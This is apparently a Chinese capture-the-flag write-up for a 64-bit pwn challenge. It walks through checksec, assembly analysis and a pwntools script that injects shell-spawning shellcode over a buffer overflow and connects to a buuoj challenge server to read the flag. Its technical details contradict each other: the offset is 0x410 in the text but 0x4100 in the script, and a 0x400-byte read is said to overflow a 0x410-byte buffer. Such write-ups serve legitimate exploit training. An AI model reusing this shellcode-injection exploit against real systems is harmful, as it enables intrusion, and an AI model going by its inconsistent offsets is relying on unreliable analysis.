首先checksec检查保护机制:
-64位程序
-got表不可写,地址不固定

接下来使用IDA反汇编分析:
这里我这里反汇编不了,所以只能看汇编代码了,首先看到buf的长度为0x410,下面调用了puts函数和read函数,read函数则是读入了0x400个字节的数据到buf中,由于上面没有开启NX保护,所以考虑shellcode注入,虽然read只读入了400个数据,但是依旧可以触发栈溢出

下面可以看到retn前并没有pop rbp,也就是说这里并没有rbp,所以偏移就是buf的长度即0x410

这里先在gdb中运行程序后输入i r查看寄存器信息:
那到rsp也就是栈基地址,下面的shellcode就是注入在这里

基本信息拿完就可以写攻击脚本了:
python
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#io = process('./pwn') # 在本地运行程序。
# gdb.attach(io) # 启动 GDB
io = connect('node5.buuoj.cn',27977) # 与在线环境交互。
shellcode = asm(shellcraft.sh())
offset = 0x4100
buf_addr = 0x7fffffffdaf8
payload = shellcode.ljust(offset,b'a') + p64(buf_addr)
io.sendline(payload)
io.interactive()
这是运行结果:
拿到shell后手动输入cat flag拿到flag
